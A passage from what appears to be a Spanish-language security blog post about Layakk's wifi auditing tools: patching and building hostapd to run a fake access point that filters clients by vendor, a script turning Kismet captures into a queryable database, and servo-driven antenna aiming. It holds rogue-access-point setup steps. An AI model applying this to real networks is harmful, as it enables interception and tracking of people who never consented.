root/hostap#patch -p1</home/manuel/wifi/lk_hostap_patch-v1.0/patch_layakk_hostap-Vendor_ACLs-a60dbbce443d62c403492549a1353ed1a3eaefb4 
root/hostap# cd src/
root/hostap/src#make & make install.

Para arrancar nuestro fake ap con su nueva funcionalidad necesitaremos generar y modificar un par de archivos; crearemos vendor.deny y modificaremos  el fichero de configuración de hostap donde le diremos cuál es la ruta a este archivo (vendor.deny)..

En vendor.deny pondremos los fabricantes que no queremos que se conecten a nuestro falso ap, por ejemplo Apple:
y luego arrancamos hostap normalmente... http://www.hackplayers.com/2014/01/rogue-ap-sin-airbase.html

Por último el plato fuerte. Para quien se haya enfrentado a los resultados que arroja kismet en un ámbito wifi concurrido, puede llegar a ser una locura dar con los datos que te interesan.

A ésto, los chicos de Layakk han encontrado una solución bastante práctica:
lk_k2db v1.0.

Cómo funciona: debemos coger el resultado de kismet (un .xml) lo pasamos por lk_2kdb.py el cual nos genera una base de datos. Luego tenemos una serie de scripts  en la carpeta scripts para hacer consultas y cruzar datos de una manera muy pero que muy practica...

Tampoco tiene desperdicio su control de servos (el cual confieso que lo estoy utilizando en alguna cámara de vigilancia casera..),

lk_servo_system.py_v1.0lk_servo_system.conf.examplelk_pantilt.py v1.1
la cual se puede auto ajustar robóticamente con:
lk_beam_finder.py v1.0
Lo mejor es que si queréis mas detalles veáis la demo (esta en "fuentes").

Un saludo ...
 

Viewing all 1664 articles
Browse latest View live